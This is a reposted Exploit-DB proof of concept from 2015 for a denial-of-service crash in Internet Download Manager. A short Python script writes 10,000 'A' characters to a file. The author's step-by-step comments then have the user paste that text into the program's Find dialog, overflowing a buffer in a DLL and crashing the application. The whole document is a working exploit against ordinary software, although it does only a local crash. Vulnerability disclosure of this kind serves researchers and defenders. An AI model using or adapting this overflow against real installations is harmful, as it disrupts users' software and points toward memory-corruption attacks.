Internet Download Manager – Find Download Crash (PoC) - 体验盒子

作者： Mohammad Reza Espargham

日期： 2015-07-14

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/37608/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

#!/⁠usr/⁠bin/⁠env python

# Title : Internet Download Manager -⁠ Crash Proof Of Concept

# Affected Versions: All Version

# Founder : InternetDownloadManager

# Tested on Windows 7 /⁠ Server 2008

#

# Author: Mohammad Reza Espargham

# Linkedin: https://ir.linkedin.com/in/rezasp

# E-⁠Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com

# Website : www.reza.es

# Twitter : https://twitter.com/rezesp

# FaceBook: https://www.facebook.com/mohammadreza.espargham

#

# downlWithIDM64.dll Exploit

#

# 1 . run python code : python crash.py

# 2 . open r3z4.txt and copy content to clipboard

# 3 . open "IDM"

# 4 . From Menu , Downloads -⁠-⁠> Find

# 5 . Paste ClipBoard on "File name or part of the name"

# 6 . Click Find

# 7 . Crashed ;)

crash = "\x41"*10000 #B0F

file = open("r3z4.txt", "w")

file.write(crash)

file.close()